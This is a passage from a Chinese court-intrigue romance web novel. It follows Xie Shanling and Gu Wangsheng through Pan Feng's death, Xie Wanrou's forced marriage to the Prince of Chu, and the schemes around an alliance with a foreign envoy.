“有时候我都觉得你对顾裕泽偏见太深了……说不定真是咱们之前想的那样,潘凤发现了顾裕骐对婉柔的心思,吃醋所以陷害她。反正潘凤那肚子里的肯定不是顾裕骐的种,肯定早就说好了日后打掉,借这个机会一石二鸟呗。”顾望笙道。 谢善淩抬眼看他:“那好,我不对他有偏见,一会儿我去多见见他。” 顾望笙镇纸都不玩了,立刻急眼反对:“你这人!我哪是这意思!你就故意!我分明是在冷静分析事态,这你不还得夸我吗?怎么反而气我?” “逗你的。” “拿点别的事逗!” 谢善淩哼笑了一声,随即又微微蹙起眉头:“那假山太高了,潘凤就算要陷害婉柔,也不敢拿自己冒这么大的风险。我猜想她原本没想将事闹这么大。” “顾裕泽放我去牢中见过婉柔……” 他话未说完,顾望笙就关切地插嘴问:“婉柔堂妹还好吗?一个大家闺秀突然蒙冤被关到那鬼地方,潘家肯定不甘心,难保不会暗中收买人磋磨她。” 谢善淩侧脸看他一眼,顾望笙与他如今极有默契,立刻过来两步,谢善淩便轻轻地靠到了他怀里。 “多谢你关怀她。”谢善淩道。 顾望笙却不悦:“你再跟我客气这我又跟你急眼啊。整得跟外人似的。” 谢善淩笑了笑,但笑容很快就淡去。 “婉柔还好。顾裕泽至少表面功夫还是会做。里面还算宽敞干净,婉柔经历过先前的种种,此刻也算镇静。我问她当时的事,她说当时潘凤让丫鬟扣着她要打她,她挣扎间潘凤就一声惨叫落水了。” 顾望笙皱眉道:“挣扎间……” 谢善淩知道他的意思,摇摇头:“婉柔很肯定地说她当时只和莲香纠缠在了一起,潘凤的肚子已经很显怀了,见她挣扎,本能地就立刻退开了几步,不可能撞到。” “也就是说,在婉柔和莲香纠缠之时,有第四人将潘凤推落假山。”顾望笙说。 “也许不是‘推’,用了暗器一类。婉柔说当时确实没有第四人在场。”谢善淩道,“可惜当日稳婆忙于给潘凤接生,医女也只说她从假山高处跌落,身上到处是伤,无法确定是否真被暗器所击。” 顾望笙啧道:“也就是说现在公说公有理婆说婆有理,这案子纯看潘家纠不纠缠了。” “你又错了。”谢善淩说,“看你父皇的意思。” 顾望笙促狭道:“哎哟喂,我是没你们京城人弯弯道道,我太直来直往啦。” “嗯,你可真直来直往。”谢善淩没好气白他一眼,接着又忧愁起来,对着他啪啪地打好多下,“你父皇肯定又要捣乱!” “那你打他啊你打我干嘛?”说是这么说,半点没有躲开或阻止的意思。 他可太爱看谢善淩这娇嗔的样子了。不过不能说,之前说过一回,谢善淩倒打一耙说他恶心,好多天没打他。 谢善淩还能不知道他那脑子?当即冷笑:“我若不打你了去打他,你又该不乐意了。” 顾望笙立刻应声:“那确实那确实,你就打我一个就好。” 谢善淩没好气朝他胸口打了一下,不打了。 顾望笙双手搂着他,安抚道:“别生气啦~老不死的再作妖能作到哪儿去?顶多让你去给潘家赔罪,到时候咱俩再珠联璧合地演上一场……” 他话还没说完,外头传来谢聪火急火燎的声音:“少爷!少爷!大殿下!宫里来旨意了!” 顾望笙松开手,转身去窗口看,谢善淩则直接去了门口,防备地问:“什么旨意?” 谢聪的神情也很惊悚,眼睛瞪得大大地说:“二小姐嫁入楚王府作侧妃的旨意!!” * 中和殿外。 顾裕骐跪在地上,浑身早已被雨淋透,额头的伤渗出血来,混杂着水从脸上不断滑落。 他再度朝前用力叩头在青石上,发出沉闷的一声响。 司马忠良都闻讯赶来了,站在廊下满是担忧焦急之色,劝道:“殿下,圣旨都已经发出去了,您就别惹陛下生气了……” 顾裕骐又一头磕在地上:“儿臣求父皇收回成命!!” 作者有话要说: 谢善淩:你爸! 顾望笙:操!还真是我爸! 这章内含先前说的加更章,放一起了~ 第89章 ◎潘凤死了!◎ 雨下了一天一夜, 顾裕骐跪了一天一夜,直至昏厥送回楚王府,皇帝最终也没有收回成命。 谢善淩和顾望笙入宫相求,皇帝先是不肯见, 被他俩耗着见了面, 依然不肯松口, 还自有他的说法: 此事各执一词,处置谢婉柔, 谢家不服,不处置谢婉柔, 潘家不服,总而言之必是二女为争楚王所导致, 那不如索性赐婚成为一家人,化干戈为玉帛,岂不皆大欢喜?难道在这团结一致共抗匪军的关头你俩要为了一家私事无视大局吗? 看着他这嘴脸, 谢善淩真是恨不得现在就把匪军引入京城! 看着他们揪心不愿却又无无可奈何的样子,尤其是谢善淩平日里就他有嘴叭叭叭说得大义凛然此刻面对自己的大义凛然而哑然的样子,皇帝心中大为敞快!就该以毒攻毒! 无论是潘家还是谢家, 最近干的事儿都叫他很不高兴! 谢善淩就不多说了, 那是一贯的惹祸精,而潘家,呵呵,竟不再中立,而是掺和进夺嫡之争…… 这也算是对潘家和谢家,甚至是对老二的一次警示! 别以为立了楚王就胜券在握, 不过是仍旧棋盘上的一粒棋。别人不知道他那畸形的身子也就罢了, 他应该时刻谨记。 消息没有遮掩, 传得很快,顾裕骐雨中长跪之事也算对潘家有了交代,知道他是被迫纳谢婉柔为侧妃。 这事儿若算起来,是潘凤搬起石头砸自己的脚,一时都不知道说什么才好。 谢家也都知道顾裕骐尽了力拒绝,奈何皇帝执拗,只能怨恨潘凤发癫。 谢善淩再三陈明利害,甚至最后提议让婉柔假死脱身,送去外地……话未说完就被家中长辈拒绝了。 在他们看来,嫁入楚王府固然是入了龙潭虎穴,然而假死送走更加离谱! “别说了,都是她的命!”谢二伯烦恼地闷头道。 他的妻子坐在一旁不断抹泪,却也显然是与丈夫统一意见。 谢大伯帮腔:“楚王对婉柔算是有心,婉柔对他也……事已至此,不过是要防着潘家的人。多挑几个精明的婆子丫头,能干的小厮也多配几个。婉柔平素别跟那些人沾边,低调些。若那边不安分,我们自会给她撑腰,说到皇上面前去。” 谢善淩不可思议道:“这和坐以待毙有何区别??” 众人不语。 接下来,无论谢善淩如何劝说,直到口干舌燥,他的意见也没得到认同。 谢善淩气冲冲回了屋,顾望笙跟在他身后进来,关上门,叹声气正要安抚,谢善淩开口道:“接婉柔回来后,我去和她说。” “……那万一她其实想嫁呢?”顾望笙问。 谢善淩立刻看向他,神情很是不满。 顾望笙走过来抬手搭了下他的肩:“瞪我也没用,若是我肯定不答应,可堂妹又不是我。善淩,不是所有人都和你我一样胆大妄为。他们谨慎,保守,也不能说是一种错,只是人不相同,处事方法不同。” 谢善淩哪都好,看事深入明白,唯有一点:他理所当然地认为所有人应该和他是一样的。 他要坚持公义,别人若不公义,他就理解不了也接受不了。如今他要硬骨头抗旨不尊,别人若不如此,他同样理解不了接受不了。 谢善淩断然道:“可他们让婉柔嫁给顾裕骐就是一种错!顾裕骐什么人?就先不说潘凤虎视眈眈,也许顾裕骐会护着婉柔,可他为了权势抛弃过一次婉柔,万一有朝一日他不得不为了权势又一次在两者之中选择呢?他只会再一次牺牲婉柔。再者说,他做过什么事,以后会做什么事,你我都心知肚明!婉柔跟着他岂不是现在就可断言前程?” 顾望笙看他一阵,耐心地开导:“若你家人知道我在做什么事,会认为你嫁给我是大错特错,将面临不能回头的危险绝境,也是现在就可断言前程。” 他们站在义军这边自然认为义军赢是天命所归,可若让世代食大梁朝俸禄的其他人看,义军和史书上那些昙花一现、终究成不了大气候的匪军并无差别。两相比较,顾裕骐的前程比匪军头子牢靠多了。 顾望笙叹道:“退一万步说,站在他们的角度,哪怕将来顾裕骐夺位失败被顾裕泽杀了,史书上也就是写兄弟相残,还是骂的顾裕泽。而我是乱臣贼子啊。思玄兄你这前程可比堂妹黑暗多了。” “……两者根本不能相提并论!”谢善淩别过头去道。 “可是其实又有什么差别呢?只不过你认为义军是对的,顾裕骐是错的。可其他人看来顾裕骐夺嫡无可厚非,匪军才是罪大恶极。”顾望笙平静地讲述事实。 这就是事实。谢家人也知道顾裕骐参与进了夺嫡,他们一向不掺和,可却也没有拿这事否决这桩婚事。 他们的设想便是一码事归一码事,就算婉柔嫁过去也不代表他们会襄助楚王。 看似天真,不过谢家如今已是“筛子”,谢善淩和大皇子成亲,谢婉柔和二皇子成亲,四皇子对谢善淩一片情深不悔,除了谢善淩,其他谢家人都和四皇子关系过得去。某种意义上说,相当中立。 除了最近自暴自弃只惦记吃的三皇子,谢家哪边都有牵扯,就等于哪边都没有。 谢善淩问:“所以你的意思就是让婉柔跳进火坑?就让我看着她跳?” 顾望笙长叹一声气,伸手来揽他肩膀,却被他生气地躲开。 顾望笙不恼,又来揽,谢善淩在气头上,回回都躲,但次数多了他挣扎的幅度渐渐小了,最终一脸不情不愿地被顾望笙揽住。 顾望笙看着他,无奈又好笑,却不敢此刻笑出来,只是继续劝说:“你一急起来就说话难听……” “那你别听!” “那怎么能?我最爱听你说话了。而且你说话不让我听想让谁听?”顾望笙故意这么说。 谢善淩兴趣缺缺,撇着头依旧不看他:“我现在没心思和你耍嘴皮子。” 顾望笙啧一声,伸手捏住他下巴让他看自己。 谢善淩又挣扎了一阵才皱着眉头不悦地被迫仰起脸瞪他。 “我只是假设而已……若堂妹不肯嫁,愿意假死脱身,我自然会出手将她送到宋淮安那去。我只是说,若她和你家人意思一样呢?你想怎样?像对待江泊润一样对待她吗?”顾望笙压低了声音这么问。 谢善淩反问:“有何不可?” “也没什么不可,只是恐怕办不成。”顾望笙正经起来,认真分析,“江泊润是因为当时场面混乱,对手没设防,方才好脱身,而且离得近好送走。可京城离南边太远了,如何送她出城都是个难题,何况一路追捕。” “无论此事是顾裕泽设计,还是老不死的自作主张,他们已经盯上了堂妹,就一定会盯紧。最糟糕的是,若她自己不肯走,不愿配合,那么难度就更大了。” 谢善淩欲言又止,许久没有说话。 顾望笙拍拍他的背:“先别急,等她回来问问再说。” 谢善淩:“若实在……” 顾望笙宽慰他:“若实在不得不嫁,我们……” 他话还没说完,谢善丰的声音在院子里由远及近,他狂奔过来,道:“善淩!那个潘——那谁!她死了!!” 谢善淩和顾望笙面面相觑,旋即一致转头看向窗外。 谢善丰跑到窗口和他俩大眼瞪小眼地互相瞪着,顾不上将气喘匀,说:“潘凤死了!刚传来的消息!” “……怎么……”谢善淩都懵了。 谢善丰摇头,脸上的表情说不上喜,更不可能为那人悲,他仍在震惊之中。 “说是说她听闻旨意后过于愤怒刚烈,又想到自己再也无法生育,无法容忍失宠,绝望之下悬梁自尽!她身边那个指证婉柔的丫鬟莲香殉主,死前留下血书阐明潘凤死因,还说明了婉柔的清白,说其实是她不小心将潘凤撞下去的,如今潘凤已死,她唯恐潘家不放过她,索性陪死,而人之将死其言也善,便说出了真相!” 谢善丰一气说完,道,“可这也太诡异了吧!!” “你都觉得诡异,是因为这确实诡异。”谢善淩说。 谢善丰嘴角一抽:“你别见缝插针地……哎,你是不是和我想的一样?是楚王为了婉柔……” 谢善淩摇头:“我若和你想得一样,那就糟了。” “你——” 谢善淩打断他的话,说:“除非顾裕骐想和潘家闹翻,他就这么干。但他苦心谋划到今日,岂会甘心前功尽弃?而此事一出,最大的获益者是谁?” 谢善丰:“是谁?” “……”谢善淩叹了声气,“除了你那位英明宽厚的四殿下,不做他人想。” “什么叫我那位四殿……不可能!”谢善丰反应过来,连连摆手,“四殿下……” 话突然卡壳,神色一滞,表情渐渐惊悚起来。 谢善淩便知道他想通了其中关窍。这实在不难想。 “如今凶手明晃晃指向楚王,他和潘家的结盟要分崩离析了。”谢善淩淡淡道。 他垂眸想了想:“恐怕皇上赐婚婉柔不是一时的心血来潮,而是出自顾裕泽的怂恿。皇上向来不待见楚王,今次碍于豲戎封了他王,却并不愿他真参与夺嫡,他还勾结潘家,皇上更是不会坐视不理,便接受顾裕泽的献计。我甚至怀疑当日潘凤落水就是顾裕泽的人暗中所为。” 谢善丰嗫嚅着嘴唇,下意识想为四皇子辩解,可辩无可辩。 这甚至不能称之为阴谋了,而是“阳谋”,一场就算潘家人也能想到这里却又不得不继续怀疑楚王的阳谋。而楚王百口莫辩,很难自证清白。 谢善淩垂眸望着窗台上的文竹,脑海中已经浮现出顾裕泽可能会有的模样。 若去质问这个人,他肯定会理直气壮地说:“我答应你还谢二小姐清白,且将她完璧归赵,这不是做到了吗?” ……确实是做到了。就是过程和别人想的十万八千里。 * 潘凤和莲香的骤然死亡任谁来看都蹊跷,偏偏大理寺就是得出了她俩确属自杀没有可疑之处的结论。 “不可能!”潘成栋目眦欲裂,低吼道,“她绝不可能做出这样的事来!” 他了解自己的妹妹,就算事情已成那样,她会发疯乱咬人,却绝不会如此软弱自杀!就算说什么她小产后心绪不宁,也必然都是胡说! 顾裕泽轻叹一声,走过来安抚地拍他肩膀,低声道:“我比谁都希望查明真相,可若非真相如此,便是真凶的手法——” 话未说完,潘成栋退后一步避开他的手。顾裕泽的手在空中停了停,看着他直接地问:“难道你也怀疑这是我为挑拨你和楚王关系而设的局?” 如今这样的传闻不少。是谁放出来的就不得而知了。当然,他也叫人去大肆宣扬是楚王为了一石二鸟陷害他及保护谢婉柔而动的手。 潘成栋两种传言都听说了,他不知道哪个是真哪个是假!哪个都像真的!而他的亲妹妹死了这更是真的!! 屋内一时间只有潘成栋粗重急促的呼吸声。 半晌,顾裕泽说:“无论你信或不信,倘若我真要挑拨你们的关系,为何不坐视谢婉柔嫁入楚王府后被潘王妃磋磨,楚王若喜欢谢婉柔,定与王妃起争执,到那时怎么也怪不到我的头上,哪像现在将我也扯了进来,我还难证清白。” 潘成栋将信将疑地说:“谢婉柔是谢善淩的堂妹……” 万一就是很单纯的想帮谢善淩的堂妹呢? 他可是听说前段时日因为潘凤落水一案,顾裕泽和谢善淩关系缓和不少。若顺着这条思路想,传言中说落水就是顾裕泽设计的也不是说不通。 顾裕泽冷淡道:“那又如何?我只想要谢善淩,又不是要他堂妹。” 潘成栋依旧心存怀疑,可尚且还有点理智。 潘凤那一通闹剧不仅是令她自己丢了命,还令潘家进退两难。虽然楚王也再三力证无辜,将礼节做得很足,给足了潘凤哀荣,可怎么想两边都有了隔阂。 现在四皇子也是如此…… 父亲有指示,若真相不明,暂且两边都不要撕破脸,就这么先稳着。先前皇帝赐婚谢婉柔已经说明了龙颜大怒,潘家最近最好低调下来。 这么想着,潘成栋反复深呼吸,最终只好忍气吞声地向顾裕泽告罪,说自己最近丧妹之痛…… “不必多言。”顾裕泽宽和道,“我也曾历丧妹之痛,岂会不明学才你此刻的心情。” 潘成栋微微一怔,想起来了,四皇子确实曾有过一个妹妹。 不过那是很多年前的事了,据说是早夭。宫里的小孩早夭常见,又只是个公主,还是不怎么受宠的贤妃所生,皇帝并不重视。 但顾裕泽此时拿出来一说,着实令潘成栋在防备之外多了一些亲近。 第90章 ◎谢善淩迁怒地瞪他:“你们顾家人都这样!”◎ 接回谢婉柔后, 谢善淩私下里劝过她,她的说辞却和其他人无甚差别。 谢善淩气得回屋朝着顾望笙大骂皇帝老不死,顾望笙陪着一起骂,谢善淩说想现在就杀了老不死的, 顾望笙说那我可比你想多了。 但谢善淩总归不能真冲进皇宫刺杀。 这时候顾裕骐也来添乱, 他跑来求见。也不知是不是故意的, 谢善淩觉得就是故意的,趁着自己不在府里的时候他来的, 肯定是派东厂的人故意盯着的! 待谢善淩知道消息急匆匆回府,顾裕骐已经花言巧语地哄骗完了长辈, 被允许去花言巧语地哄骗堂妹了。 “他俩孤男寡女的怎么可以单独见面!”谢善淩质问。 其他人欲言又止,脸上神情显然可读:他俩以前私下里都不知道见过多少面了, 如今来讲究这个多虚伪呢…… “人都在屋外守着呢,门也都敞开着,隔着屏风。”谢善鸣叹道, “刚刚楚王一番话其实超出了我们先前所想,也许他对婉柔确实是真心的。抛开时政立场不谈……” 想想这抛开得有一点点无理,可也只能硬着头皮道:“婉柔幸福就好。那些谣言或真或假, 都被潘家宣扬出去了, 冯家是绝不肯娶她了的,别家恐怕也……你总不能真让她长伴青灯古佛边。” 谢善淩觉得这可比嫁火坑强多了,当初顾望笙还像个火坑的时候,自个儿可愿意长伴经书了……顾望笙就在旁边,这话不好说,只能咽回去。 想想, 顾不上多说, 扭头去找谢婉柔。 一路上顾望笙又低声劝他:“善淩, 我想了再想,或许这样也行……” 谢善淩看也不看地给他一肘击。顾望笙受着,继续道:“这叫鸡蛋不放一个篮子里。还像先前说的那样,咱们其实是不知前路究竟如何的,顾裕珩先不管,说不定真让顾裕骐夺储成功呢?他心眼子那么多,老不死的又成天‘一鸣惊人’……若不是顾裕泽实在恶心,我都想说要不把善丰堂弟嫁他好了,将来谁成了事,谢家也是安全的。” 谢善淩差点被他这话呛死,转头幽幽看他。 “说笑的说笑的。”顾望笙说。 “一点也不好笑!”谢善淩白他一眼,可是如石投湖面,心中有了丝涟漪…… 待来到谢婉柔处,就见顾裕骐今日脱去了丧服,竟隐约比平时穿扮得更精致一些,头上却好像很惨兮兮一样绑着伤布。 谢善淩一看就冷笑起来:“都半个多月前的事儿了,楚王这额头还没好呢?我今儿上朝没瞧见啊,还以为早好了呢。” 顾望笙虽是不反对这桩婚事的那一方,但见着顾裕骐这死出,忍不住帮腔谢善淩:“人家装得好好的,你干嘛拆穿呢,这多不近人情。” 顾裕骐的声音都比今儿早朝时孱弱许多,却又清冷易碎:“早朝不好戴官帽,恐失仪殿前。” 谢善淩听得拳头都痒了起来,再出言相讽,顾裕骐都一副柔弱退让的模样,谢善淩都要被他气死了。 谢善淩还要再说,顾裕骐轻声道:“往日我为了同胞之情襄扶三弟,对大皇兄多有冒犯伤害,经黔阳事变后,我已清楚母妃和三弟对我只有利用,全无半点真情,将来不会再为他们。” “至于豲戎……两国邦交不能只看过往仇怨,如今匪军四起,豲戎又愿意握手言和,帮助大梁剿灭匪军,便是一码事归一码事,总要朝前看,于边境百姓而言何尝不比以前强。难道非得酿造出更多的血海深仇才算好吗?”顾裕骐反问。 谢善淩正要开口,顾裕骐压根不给他机会,继续说给屏风后的谢婉柔听:“而且双方也不过是相互利用,待利用他们剿完匪军,未来会如何谁也不知道,我私下里和父皇议论过,必是不可能真信、全信豲戎的。” 谢善淩:“……” 总而言之,顾裕骐的戏唱得也相当不错。至少对于谢婉柔和其他谢家人而言是如此。 最后谢善淩也没办法了。 顾裕骐迎娶谢婉柔一事终究是成了定局。反正已经和潘家撕破了脸,潘成栋最近和顾裕泽走得很近,顾裕骐亲自去向皇帝请旨将谢婉柔聘为正妃。 但老不死的拒绝了。 顾裕骐再度登门谢家说明此事,再三道歉,愧疚不已,许诺会在别处处处弥补谢婉柔,这般郑重反倒令谢家人不好意思起来。 顾望笙背着别人时都忍不住呸一声,嫌弃道:“真会装!就欺负咱家人都单纯!” 谢善淩迁怒地瞪他:“你们顾家人都这样!” 顾望笙欲言又止,不敢在他气头上说话,只好将双手拢在袖中老实巴交讪讪不语,这样子令谢善淩想起最近清冷破碎的顾裕骐,越发的气不打一处来。 顾家人真的都这样!!! 然则,独他俩在这儿气愤,其他人已经为了婚事忙活起来。谢善淩再是抗拒,后面也只能半推半就地被谢善丰拉去干活儿,别提多憋气了。 本来就烦,还总遇到将灵,更烦了。 将灵自称是来帮好友顾裕骐忙的,全程黏在谢善淩身边,顾望笙也很烦,可这狗皮膏药根本骂不走,到后来谢善淩打不过就加入,美人计随时计起,与将灵周旋起来。 这下子最憋气的成顾望笙了。 谢婉柔这场婚礼下来,谢善淩和顾望笙都气得够呛,终于忙完后回到小家里,双双瘫在床上许久没有动弹,谢聪来催了几遍沐浴的热水准备好了都要凉了,谢善淩才有气无力地起身去。 他刚进水里,顾望笙就来了。 “没兴趣。出去。”谢善淩冷漠道。 顾望笙淡淡道:“你一天天都想什么呢,我也没兴致,就过来洗个澡。” “这又不是浴池,挤不下。”谢善淩抱怨着,顾望笙却不讲理地硬挤进来,他都懒得多说了,实在是累。 两人静静地在水里泡着,半晌,谢善淩轻轻靠在他肩上,顾望笙抱住他,头也靠向他,相互依偎着。 “也好,若我们实在不成事,如你先前所说,顾裕骐也能保住谢家。”谢善淩轻声道。 顾望笙微微点头:“依我看来,顾裕骐未必没有和你我联手斗下顾裕泽的意思。虽然他知道我的身份,可看在婉柔堂妹的份上,也许他另有了想法。” 谢善淩想起另一个人:“最近顾裕珩那边毫无动静……就算他甘心,菅贵妃不可能甘心。” 说起顾裕珩,顾望笙啼笑皆非:“我试探过,顾裕珩不是甘心,他是压根不知道自己还能怎么着,索性什么也不干,生怕又被支使去外面被抓。至于奸妃,她当然不甘心,但也无可奈何,司马忠良和顾裕骐走得近。” “但是对我们而言,还是要先将将灵这个麻烦解决掉。”谢善淩冷淡地说,“顾裕泽原本镇守西北边境,顾不上南边的义军。而豲戎则是要南下与义军为敌。” 顾望笙问:“有头绪吗?军师大人。” 军师大人许久才说:“将灵很谨慎,使团那边难挑出错来,就只能从大梁的人入手了。” 两人依靠着密谋至水凉,这才起身,谢善淩正穿着衣服呢,顾望笙只套上了中衣,从身后抱住他,手勾住他腰带:“都这么晚了还穿这么多,一会儿又要脱,多累啊。” 谢善淩将腰带从他手中抽回继续系着,反问:“穿好了再脱不好玩吗?” 顾望笙忍不住笑了起来,说:“好玩。谢善淩,你太好玩了。今晚能玩吗?” 谢善淩系好衣服,侧了侧脸,抬手用食指挑了挑顾望笙的下巴:“谁玩谁可不一定。” 顾望笙的嘴角压不下去,与他对视,挑眉道:“那我可太愿意被你玩了,你多玩玩,别客气。” 谢善淩只是斜睨着他哼了一声,顾望笙的急不可耐谢善淩就立刻知晓了。 “你真不禁逗啊。”谢善淩不由得感慨。 顾望笙不以为耻反以为荣,低头细碎地嗅吻他耳垂脖颈,含糊不清道:“这不挺好吗……” 90-100 第91章 ◎将灵就像冷宫里疯掉的妃子◎ 三朝回门, 顾裕骐全程陪同,装了几车的厚礼且不说,他对待谢家人十分敬重,对谢婉柔更是体贴入微, 连往日总阴郁森森的神情也化作了内敛温柔, 说十句话里有九句时是说着便忍不住将目光落到了谢婉柔的身上。 谢家人看在眼里, 越发欣慰起来。 不过欣慰归欣慰,终究有所忌惮防备, 因而饭后惯常的年轻兄弟们聚谈时事的环节默契地取消了。都还是不太愿意和楚王议论这些。 女眷却还是有她们的聚会,尤其是谢婉柔刚刚新婚, 定然要拉着叙谈追问的。 谢善鸣原想牺牲自己陪楚王坐坐(不敢让谢善丰陪,怕他说漏什么嘴), 楚王却主动提出:“若兄长有事要忙,不必特意招待,只将我当成与我大皇兄一般的家人对待即可。” 这一声“兄长”谢善鸣从大皇子口中常常听说, 但大皇子一贯平易近人,听着就很自然,可以往见了面虽说客气却十分生人勿近的楚王嘴中说出这话就…… 谢善鸣其实有点怵楚王, 从他还是二皇子时就如此。不是畏惧权势, 而是人怕鬼的本能反应。 他到现在都没想明白婉柔是怎么想的。 兄弟二人私下议论时谢善丰说估计是学佛学傻了见到鬼就激发了佛性的爱想超度。 虽然当时他骂了谢善丰一顿,但事后想想又觉得说不定兄弟大智若愚。 无论如何,亲妹子在人家手里,谢善鸣就算发怵也只能硬着头皮陪,此刻一听不用陪,心中松了口气, 面上却还是客气拉锯了一阵, 这才恭敬地将人送去妹妹出阁前的小院午休。 * 顾裕骐四下观看着谢婉柔长大的地方, 心中很是宁静。院子不大,很精致,四下栽种着显然时常打理的花草,还有两只狸奴在其中嬉戏打闹。 这是婉柔养的吗?要不要带回楚王府继续养? 他情不自禁地生出如此温情来,可是转瞬便警醒,想起了两天前……自己大婚的隔日清晨。 他贪恋温柔,一直装睡,谢婉柔醒后见他一动不动地闭着眼睛,思来想去,局促着也一动不动。 就在顾裕骐想就这样到天荒地老之时,煞风景的人来了。下人来通传将灵拜访。 什么人会在别人大婚后的头一天登门拜访?! 某个瞬间顾裕骐觉得谢善淩捅将灵那一剑捅轻了。 但他不得不起身去见将灵。 谢婉柔见他起身,不顾他的柔声阻拦,非要跟着起来,为他整理衣装。她动作生涩,他甘之如饴,再三真挚地道谢,却反而害她脸都红透了。 顾裕骐的心都软成了一滩水。 然而见到将灵那张似笑非笑的脸的一瞬间,顾裕骐如梦幻泡影一般的美妙体验就如同被尖利的毒针刺破,砰的一声炸开,告诉他一切皆是虚妄。 “王爷看起来真幸福啊,不过也难怪,如愿娶了心上人,洞房花烛,人生幸事,我都羡慕。”将灵笑着道。 顾裕骐没搭茬,只淡淡地问:“有什么事?” “没什么事,不过这事又很重要。”将灵说,“温柔乡是英雄冢,我怕王爷忘了这句话,过来提醒提醒。” “……不会。” “不会就最好。”将灵含笑看他,语气轻快,说出的话却令顾裕骐厌恶,“毕竟……若让王妃和王妃那位难缠的堂兄知道这场局其实是王爷与我设下栽赃四皇子的,恐怕又是一场风波。我那狠心的相好还好,原本他就没想放过我们,但王妃不一样,她那么柔弱心善,若知道潘凤是被你陷害杀死……” 顾裕骐的神色越发阴郁,问:“你究竟想说什么?” “就是说这些。你新婚燕尔,我若说太多也太不识趣了。”将灵始终都是笑着的,只是这笑容在顾裕骐看来和恶鬼没什么两样。 场面一时寂静,将灵没说要走,坐在那端着茶装模作样地吹,顾裕骐不便逐客,只能忍耐着等待。 许久后,将灵放下吹了半天一口没喝的茶,看向他,依旧笑面虎的模样。 “和心爱之人成亲真好啊,看王爷红光满面的滋润模样,和先前那憔悴苍白判若两人哪!”将灵一副感慨万千的模样。 顾裕骐:“……” 不想搭理他,也根本不知道能怎么回这话。跟这伙断袖没什么好说。 “不知我何时能小登科。”将灵羡慕道。 顾裕骐很想说,若是想登谢思玄这科,那可能是猴年马月……终究没说。 将灵:“唉,可惜英雄无用武之地。” “……” 顾裕骐一点也不想深究这英雄是什么玩意。 “有时候我想,不如索性把谢善淩绑走得了,他又没心,我要他的心岂不是缘木求鱼?” 爱绑绑,总对着我说这废话有什么用?我又不是谢善淩,甚至不是顾裕帧。 顾裕骐越发不耐烦起来,却还得忍耐。反正也不是忍一天两天了。 不说正事的时候,将灵就像冷宫里疯掉的妃子,一遍遍地向他念叨与谢善淩的往昔,恨是恨得很,恨完又馋得像要饿死的狗一样淌口水。 顾裕骐曾委婉地问他跟别人也是这么大谈特谈吗?将灵回答得理所当然:“当然不是。那事实在丢脸,我嘴上风轻云淡,实则在意得很,我父王都不敢轻易跟我提起,我只跟你坦认过这些心迹。” “……为何是我?” 将灵深邃道:“你被自己的亲娘诓了那么多年,亲爹也不爱你,为兄弟两肋插刀却被兄弟插满背的刀,还跟谢婉柔相爱不能相守,比我可惨多了也好笑多了,性情还那么阴沉,我料你也没心思嘲笑我。” 顾裕骐:“……” 顾裕骐最忍无可忍的时候,其实也有一点点求而不得的感同身受,看将灵有几分可怜,难得生出些善意来建议他与自己一样抄抄佛经静静心。 这混账却反过来用一言难尽的目光看自己,然后幽幽地意有所指地说:“咱俩不一样,我光静心是不够的。” 顾裕骐就再也不浪费自己原本就不多的同情心了,他去死也好。 …… 顾裕骐望着狸奴出神,突然被谢善淩的声音拉了回来。 “怎么一副新鲜的样子?以前没少暗中窥探吧。”谢善淩“纯恶意”地问。 顾裕骐回头看他,神色淡淡,道:“在她被顾裕泽的眼线、那个丫鬟晶儿诓骗前,我不曾做过这样失礼的事。” 这是不演了。谢善淩冷笑:“那后来被你收买的谢家奴仆是谁?说出来让我清理一下门户。” 顾裕骐不答,只是说:“我只是担心顾裕泽又利用她,没打算用来窥探其他,你不必挂心。如今婉柔已经嫁入楚王府,我不会再联系那人。” 谢善淩恨得牙痒痒,忍耐着嘲讽道:“也没见你保护得很好!” “……潘凤一事是我疏忽。”顾裕骐道。 谢善淩哼了一声,一时没说话,两人对峙了一阵,顾裕骐忽然主动向他走来。 顾裕骐停在谢善淩面前,低声说道:“谢思玄,你我可歇战。” 谢善淩冷冷看着他。 他缓缓道:“你肯襄助顾裕帧,我想匪军确实不止是为了谋图私利。父皇昏庸无道,宠信奸佞,上行下效,确实民不聊生。可若你我联手……将来涤清污垢,重振大梁,岂不比兴起战火好?” “你做皇帝?”谢善淩不动声色地问。 顾裕骐颔首:“毕竟你与皇兄……还是婉柔母仪天下为好。但也绝不会亏待了你与皇兄。如果你们想,可以长江为界,两坐天下。” 谢善淩的神色瞬时凛冽起来。 “果然是道不同不相为谋!你为了权势可以勾结豲戎,也可以分裂国土。”谢善淩逼视他,“你许诺了将来割分哪里给豲戎?河西走廊?还是蜀地?” 顾裕骐再度不答。 谢善淩怒道:“你别连累婉柔陪你一起背负千秋骂名!” “我自有说法,不会连累她。”顾裕骐侧过身去说,“你若不愿谈就罢了,我只是不愿婉柔未来为难和难过才拉下脸拉拢秦青。” “你真要干这遗臭万年的事吗?”谢善淩质问道。 顾裕骐看着花丛中的狸奴被谢善淩惊跑了,沉默一阵,问:“那两只狸奴是婉柔养的吗?” 谢善淩一噎,硬邦邦问:“关你什么事?” 顾裕骐像在问他,却没看他,就像是在自言自语。“我在想,是先问过婉柔好,还是偷偷带回王府给她一个惊喜好?” 谢善淩都惊呆了,好像头一回看到他似的盯了半天。 顾裕骐余光知道他此刻模样,没搭理,有些不高兴。他觉得谢善淩这副样子相当冒昧,好像只有谢善淩和顾裕帧这俩断袖才能真心恩爱似的。 半晌,谢善淩回过神来,说:“不准带。” 顾裕骐更感被冒犯了,嘲讽地问:“你的吗?你好像将所有的东西都当成你的一样,好霸道。” 谢善淩看着他,幽幽道:“那你就去问婉柔,这两只狸奴是谁的。” 顾裕骐一怔。 …… 虽然……但当谢婉柔回来,顾裕骐真向她问起那两只狸奴。 谢婉柔如今面对他还有些不自然,其实这三日以来两人言谈得很少,可如今他问起,她怔愣了一下还是回答了。 “府里的狸奴都是善淩堂兄的。”她说。 顾裕骐:“……” 还真是啊! 作者有话要说: 有一定概率明早八点更新推迟,但因为这一加更,我理直气壮x 第92章 ◎大殿下在外头突然吐血昏迷◎ 与豲戎正式签订结盟的日子定在两日之后, 夜间,谢善淩在灯下沉吟良久,缓缓说道:“这些时日我和将灵来往颇多,不如将我毒倒, 然后嫁祸给他。” 顾望笙躺在被子里装了半天假睡, 原本打算等谢善淩过来就掀被子罩住他, 吓他一大跳,此刻反被谢善淩给吓了一大跳, 掀开被子坐起身,惊悚地叫:“你别胡来!” 旁人说也就说了, 谢善淩可是真敢这么做的主儿! 谢善淩瞥他:“没有时间了。” 